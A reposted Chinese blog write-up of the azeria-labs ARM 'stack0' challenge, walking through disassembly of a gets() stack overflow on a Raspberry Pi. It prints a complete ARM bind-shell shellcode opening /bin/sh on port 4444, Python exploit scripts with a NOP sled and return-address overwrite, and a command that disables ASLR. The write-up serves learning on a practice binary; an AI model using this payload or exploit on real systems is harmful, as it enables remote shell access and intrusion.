转自：安全课传送门
引言
经过很长一段时间在azeria-labs进行的ARM基础汇编学习，学到了很多ARM汇编的基础知识、和简单的shellcode的编写，为了验证自己的学习成果，根据该网站提供的实例，做一次比较详细的逆向分析，和shellcode的实现，为自己的ARM入门学习巩固。
实例下载地址：git clone https://github.com/azeria-labs/ARM-challenges.git
调试环境：Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1（这些都是按照网站教程安装的如果自己有ARM架构的操作系统也是可以的）
stack0
第一步，我们先看看文件的信息file stack0，从返回信息可以看出该程序是一个32位可执行程序，从最后的not stripped可以看出这个程序的符号信息，具体有关stripped详细介绍可以百度
stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8, not stripped
下面我们给他执行权限chmod +x stack0,然后执行它，会发现需要你的输入，表明这里使用了gets、scanf之类的输入方法，这些方法存在的地方就有溢出的风险，我们尝试构造一长一短的字符串，来测试一下。
短的字符串输出的让你重试的字样。
长的字符串，明显可以看出我们输入的值更改了变量导致，并且覆盖了返回地址，导致抛出Segmentation fault（访问了不可访问的内存，这个内存要么是不存在的，要么是受系统保护的）异常
分析出它存在溢出漏洞，现在我们就需要进入他的内部世界，彻底的洞悉它
首先我们需要找到他的入口函数，因为他没有删除符号数据，我们直接执行nm stack0，可以看到入口点、调用的库函数等信息，很明显入口点应该是main函数，我们来gdb走一波
U abort@@GLIBC_2.4
00020684 B __bss_end__
00020684 B _bss_end__
00020680 B __bss_start
00020680 B __bss_start__
00010360 t call_weak_fn
00020680 b completed.9004
00020678 D __data_start
00020678 W data_start
00010384 t deregister_tm_clones
000103ec t __do_global_dtors_aux
00020564 t __do_global_dtors_aux_fini_array_entry
0002067c D __dso_handle
0002056c d _DYNAMIC
00020680 D _edata
00020684 B _end
00020684 B __end__
00010510 T _fini
00010414 t frame_dummy
00020560 t __frame_dummy_init_array_entry
0001055c r __FRAME_END__
U gets@@GLIBC_2.4
00020654 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
000102c8 T _init
00020564 t __init_array_end
00020560 t __init_array_start
00010518 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
00020568 d __JCR_END__
00020568 d __JCR_LIST__
w _Jv_RegisterClasses
0001050c T __libc_csu_fini
000104a8 T __libc_csu_init
U __libc_start_main@@GLIBC_2.4
0001044c T main
U puts@@GLIBC_2.4
000103b4 t register_tm_clones
00010324 T _start
00020680 D __TMC_END__
gdb stack0
gef>disas stack0，我们可以看见得到main函数的反汇编代码，但是有一点不爽的是一些库函数API名称没
有显示出来，这里提供两种解决思路：
- 升级gdb版本（百度、google找教程，我升级到8.2版本是可以显示的。
这里有点奇怪的是，我的版本已经很高了，但是对这个二进制文件还是不能识别库函数并显示并且stripped前后都显示不了，但是对于有些二进制文件它又可以显示，如果有大佬知道，希望在评论里帮助解惑一下，thanks） - objdump 了解一下，这里我主要用的是objdump
Dump of assembler code for function main:
0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #80 ; 0x50
0x00010458 <+12>: str r0, [r11, #-80] ; 0x50
0x0001045c <+16>: str r1, [r11, #-84] ; 0x54
0x00010460 <+20>: mov r3, #0
0x00010464 <+24>: str r3, [r11, #-8]
0x00010468 <+28>: sub r3, r11, #72 ; 0x48
0x0001046c <+32>: mov r0, r3
0x00010470 <+36>: bl 0x102e8
0x00010474 <+40>: ldr r3, [r11, #-8]
0x00010478 <+44>: cmp r3, #0
0x0001047c <+48>: beq 0x1048c
0x00010480 <+52>: ldr r0, [pc, #24] ; 0x104a0
0x00010484 <+56>: bl 0x102f4
0x00010488 <+60>: b 0x10494
0x0001048c <+64>: ldr r0, [pc, #16] ; 0x104a4
0x00010490 <+68>: bl 0x102f4
0x00010494 <+72>: mov r0, r3
0x00010498 <+76>: sub sp, r11, #4
0x0001049c <+80>: pop {r11, pc}
0x000104a0 <+84>: andeq r0, r1, r12, lsl r5
0x000104a4 <+88>: andeq r0, r1, r8, asr #10
End of assembler dump.
objdump打印的结果，下面省略了一些显示，把主要分析的部分放出来，并且可以看到所有区段的反汇编代码和地址，这样我们对照着这个输出信息，即可
stack0: file format elf32-littlearm
Disassembly of section .init:
000102c8 <_init>:
102c8: e92d4008 push {r3, lr}
102cc: eb000023 bl 10360
102d0: e8bd8008 pop {r3, pc}
Disassembly of section .plt:
000102d4 :
102d4: e52de004 push {lr} ; (str lr, [sp, #-4]!)
102d8: e59fe004 ldr lr, [pc, #4] ; 102e4 <_init+0x1c>
102dc: e08fe00e add lr, pc, lr
102e0: e5bef008 ldr pc, [lr, #8]!
102e4: 00010370 .word 0x00010370
000102e8 :
102e8: e28fc600 add ip, pc, #0, 12
102ec: e28cca10 add ip, ip, #16, 20 ; 0x10000
102f0: e5bcf370 ldr pc, [ip, #880]! ; 0x370
000102f4 :
102f4: e28fc600 add ip, pc, #0, 12
102f8: e28cca10 add ip, ip, #16, 20 ; 0x10000
102fc: e5bcf368 ldr pc, [ip, #872]! ; 0x368
00010300 <__libc_start_main@plt>:
10300: e28fc600 add ip, pc, #0, 12
10304: e28cca10 add ip, ip, #16, 20 ; 0x10000
10308: e5bcf360 ldr pc, [ip, #864]! ; 0x360
0001030c <__gmon_start__@plt>:
1030c: e28fc600 add ip, pc, #0, 12
10310: e28cca10 add ip, ip, #16, 20 ; 0x10000
10314: e5bcf358 ldr pc, [ip, #856]! ; 0x358
00010318 :
10318: e28fc600 add ip, pc, #0, 12
1031c: e28cca10 add ip, ip, #16, 20 ; 0x10000
10320: e5bcf350 ldr pc, [ip, #848]! ; 0x350
Disassembly of section .text:
00010324 <_start>:
10324: e3a0b000 mov fp, #0
10328: e3a0e000 mov lr, #0
1032c: e49d1004 pop {r1} ; (ldr r1, [sp], #4)
10330: e1a0200d mov r2, sp
10334: e52d2004 push {r2} ; (str r2, [sp, #-4]!)
10338: e52d0004 push {r0} ; (str r0, [sp, #-4]!)
1033c: e59fc010 ldr ip, [pc, #16] ; 10354 <_start+0x30>
10340: e52dc004 push {ip} ; (str ip, [sp, #-4]!)
10344: e59f000c ldr r0, [pc, #12] ; 10358 <_start+0x34>
10348: e59f300c ldr r3, [pc, #12] ; 1035c <_start+0x38>
1034c: ebffffeb bl 10300 <__libc_start_main@plt> ;这个库函数获取了main函数的地址，开启了main函数的执行流程
10350: ebfffff0 bl 10318
10354: 0001050c .word 0x0001050c
10358: 0001044c .word 0x0001044c ;很明显这是main函数的地址
1035c: 000104a8 .word 0x000104a8
...............
0001044c :
1044c: e92d4800 push {fp, lr}
10450: e28db004 add fp, sp, #4
10454: e24dd050 sub sp, sp, #80 ; 0x50
10458: e50b0050 str r0, [fp, #-80] ; 0xffffffb0
1045c: e50b1054 str r1, [fp, #-84] ; 0xffffffac
10460: e3a03000 mov r3, #0
10464: e50b3008 str r3, [fp, #-8]
10468: e24b3048 sub r3, fp, #72 ; 0x48
1046c: e1a00003 mov r0, r3
10470: ebffff9c bl 102e8
10474: e51b3008 ldr r3, [fp, #-8]
10478: e3530000 cmp r3, #0
1047c: 0a000002 beq 1048c
10480: e59f0018 ldr r0, [pc, #24] ; 104a0
10484: ebffff9a bl 102f4
10488: ea000001 b 10494
1048c: e59f0010 ldr r0, [pc, #16] ; 104a4
10490: ebffff97 bl 102f4
10494: e1a00003 mov r0, r3
10498: e24bd004 sub sp, fp, #4
1049c: e8bd8800 pop {fp, pc}
104a0: 0001051c .word 0x0001051c
104a4: 00010548 .word 0x00010548
..............
下面进行逐步分析：
- 保存了
当前栈帧的返回地址和上一个栈帧的帧地址。
将帧指针r11指向当前栈帧顶部的返回地址
压栈操作，压入大小为80字节的空间，为变量、参数准备的临时存放空间。
将r0, r1进行入栈操作，并且放在栈顶的位置，这是上一个栈帧的变量，我们需要保护起来。
0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #80 ; 0x50
0x10458 str r0, [r11, #-80] ; 0x50
- 给
r3寄存器赋0值，然后将r3内的0存放到r11-8内存地址指向的空间，这个地址是临着上一个栈帧的帧指针r11-4（r11是当前栈帧的帧指针，指向当前栈帧顶部，顶部存放着返回地址）
0x1045c str r1, [r11, #-84] ; 0x54
0x10460 mov r3, #0
0x10464 str r3, [r11, #-8]
- 将r11-0x48（
0xbefff0e4）的地址通过r3赋值给r0，然后作为参数传进gets函数中执行，这个函数会将用户输入的内容，存放到0xbefff0e4这个地址空间中
-> 0x10468 sub r3, r11, #72 ; 0x48，上一个指针的两个变量存储用了8字节空间，刚好从r11-72的地址开始给当前栈帧的
;参数使用
0x1046c mov r0, r3
0x10470 bl 0x102e8
- 开始输入字符串，测试溢出
下面显示地址空间存储的值，0xbefff0e4地址是存放用户输入字符串开始的位置，下面我们尝试输入不同的字符来看下面这些地址存放的值的变化
gef> x/19x 0xbefff0e4
0xbefff0e4: 0xb6ffbfc4 0x00000003 0xb6e77be8 0x00000000
0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000
0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0
0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
尝试输入4个1后的结果输出，很明显0xb6ffbfc4 0x00000003中前四个字节被0x31313131（1的16进制）覆盖了，0x00000003这个值内的03被gets函数默认用0x00覆盖用来标志字符串的结尾
gef> x/19x 0xbefff0e4
0xbefff0e4: 0x31313131 0x00000000 0xb6e77be8 0x00000000
0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000
0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0
0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
下面我们直接输入足够的长度，一直到返回地址处，根据上面的sub r3, r11, #72语句，将r11-72出作为存放用户输入的初始地址，可以知道，输入的长度至少72，这样0xb6e8c294最低位94会被00覆盖，下面我们进行输入72个1的覆盖，很明显我们如我们所料。（可以多输入几个字符完全覆盖，因为只覆盖最低位两个字符，可能依然会存在该地址，而导致不能实现程序的崩溃）
0xbefff0e4: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff0f4: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff104: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff114: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff124: 0x31313131 0x31313131 0xb6e8c200
- 最后一步---
shellcode。构造一个shellcode来利用这个溢出漏洞，最一个完美的结尾。具体shellcode编写可以参考我的另一篇文章：https://www.jianshu.com/p/16f1c9fe8541
shellcode代码---BindShell
.section .text
.global _start
_start:
.code 32
//arm set switch thumb set
add r3, pc, #1
bx r3
.code 16
//create a socket
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81
svc #1
//bind local address
mov r4, r0
adr r1, local_addr
strb r2, [r1, #1]
strh r2, [r1, #4]
nop
strb r2, [r1, #6]
strb r2, [r1, #7]
mov r2, #16
add r7, #1
svc #1
//start listen,wait for connection
mov r0, r4
mov r1, #2
add r7, #2
svc #1
//accept first connection
mov r0, r4
eor r1, r1, r1
eor r2, r2, r2
add r7, #1
svc #1
mov r4, r0
//change stdin/stdout/stderr to /bin/sh
mov r0, r4
sub r1, r1, r1
mov r7, #63
svc #1
mov r0, r4
mov r1, #1
svc #1
mov r0, r4
mov r1, #2
svc #1
//execve("/bin/sh")
adr r0, bin_sh
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1
bin_sh:
.ascii "/bin/shX"
hexdump -v -e '"\\""x" /1 "%02x" ""' bindshell.bin生成十六进制的shellcode
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
写好shellcode之后，我们需要找到合适的位置，存放好shellcode保证程序可以正常执行shellcode，根据上面的分析，可以得到返回地址0xb6e8c294存放的内存地址是0xbefff124+8=0xbefff12c，而我们溢出的数据会一直向栈空间下面延伸，所以我们可以将返回地址改成0xbefff12c+4的位置，这样就会执行到后面的shellcode代码
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
第一步：现将返回地址覆盖为0xbefff130，这里我使用python脚本来实现填充字符、和返回地址的覆盖。然后python poc.py >exp,把shellcode写入exp文件，在gdb里使用r < exp命令，把exp文件作为输入，来执行stack0文件。可以看到r11指向的返回地址，存储的值刚好是下一个栈地址
poc.py
port struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//把0xbefff130转成字符串，格式为`I`unsigned int（四字节长度刚好）
return_addr = struct.pack("I", 0xbefff130)
print padding + return_addr
结果：
0xbefff128|+0x0000: 0x31313131 <-$sp
0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20 <-$r11
0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20
然后在python脚本内再添加shellcode后，完整的脚本如下：
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)
payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"
print padding + return_addr + payload
当我们使用gdb运行r < exp调试的时候，查询端口可以看见，4444端口已经开始侦听，exp成功执行
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
这个时候我们使用nc -vv 127.0.0.1 4444,远程连接，客户端和服务端成功连接上，执行命令也成功返回
客户端返回：
pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
pi
ps
PID TTY TIME CMD
572 pts/0 00:00:33 bash
6522 pts/0 00:00:06 gdb
6526 pts/0 00:00:00 sh
6534 pts/0 00:00:00 ps
服务端返回结果，显示开启了一个新的进程来运行/bin/sh
gef> r < exp
Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp
you have changed the 'modified' variable
process 6526 is executing new program: /bin/dash
- 环境变量的影响---NOP技术，生成新进程的问题
针对第6步的调试成功之后，当我们直接运行./stack0
you have changed the 'modified' variable
Segmentation fault
我们使用gdb /home/pi/Desktop/ARM-challenges/stack0和gdb ./stack0来调试完整路径下的程序，并且在执行shellcode前设置断点，并且定义hook-stop来在执行断点前打印栈数据,运行r
gef> define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/8wx $sp
>end
返回栈数据结果
gdb ./stack0
0xbefff128: 0x31313131 0xbefff130 0xe28f3001 0xe12fff13
0xbefff138: 0x21012002 0x27c81a92 0xdf013751 0xa1111c04
gdb /home/pi/Desktop/ARM-challenges/stack0
0xbefff138: 0x00000000 0xb6e8c294 0xb6fb1000 0xbefff294
0xbefff148: 0x00000001 0x0001044c 0xb6ffe0b8 0xb6ffddc0
下面尝试打印1000行栈数据x/1000s $sp，观察不同，具体不同的地方就是存放环境变量的地方，如下所示，地址0xbefffcdd的数据还是相同的，但是因为pwd变量的长度不一致，导致了需用用更多的栈空间存储多余的数据，所以从这往后，栈内数据发生了变化
gdb ./stack0的输出
0xbefffc8c: "_=/usr/bin/gdb"
0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"
0xbefffcdd: "LANG=en_GB.UTF-8"
gdb /home/pi/Desktop/ARM-challenges/stack0的输出
0xbefffc9b: "_=/usr/bin/gdb"
0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcc8: "PWD=/home/pi/Desktop"
0xbefffcdd: "LANG=en_GB.UTF-8"
具体解决方案：
- 执行前删除环境变量
shell$ env -i ./stack0
(gdb) unset env
-
NOP:使用NOP滑到我们的shellcode处，然后我们将加入100个NOP到shellcode中，下面这个python脚本才是最终的脚本！
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)
payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"
print padding + return_addr + "\x90"*100 + payload
至此我们解决了环境变量引起的栈数据移动问题，当我们在次执行./stack0 < exp
you have changed the 'modified' variable
Segmentation fault
由这个问题引入一个概念ASLRAddress Space Layout Randomization，地址空间布局随机化
Linux 平台上 ASLR 分为 0，1，2 三级，用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下。更详细的介绍大家百度
- 0：没有随机化。即关闭 ASLR。
- 1：保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
- 2：完全的随机化。在 1 的基础上，通过 brk() 分配的内存空间也将被随机化
这里我们使用命令来改变这个值：
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
下面就是见证奇迹的时候了：
小结
至此本篇paper基本完成，这个实例其实是很入门的东西，但是整套流程坐下来，却很有意义，希望给大家一些帮助。当然，过程中遇见了很多的问题，学习的路上很枯燥，我们需要耐着性子稳步前行，做完这个例子我收获了很多，感谢自己、也感谢帮我的优秀老铁：大毛腿
附录文章：
[1] ARM汇编学习网站https://azeria-labs.com/writing-arm-assembly-part-1/
[2] 实战样本下载地址https://github.com/azeria-labs/ARM-challenges.git
[3] shellcode学习编写地址https://www.jianshu.com/p/16f1c9fe8541
[4] 在溢出中使用shellcode教程https://www.youtube.com/98c2a1d3-3d69-4931-9f27-bd457a464f38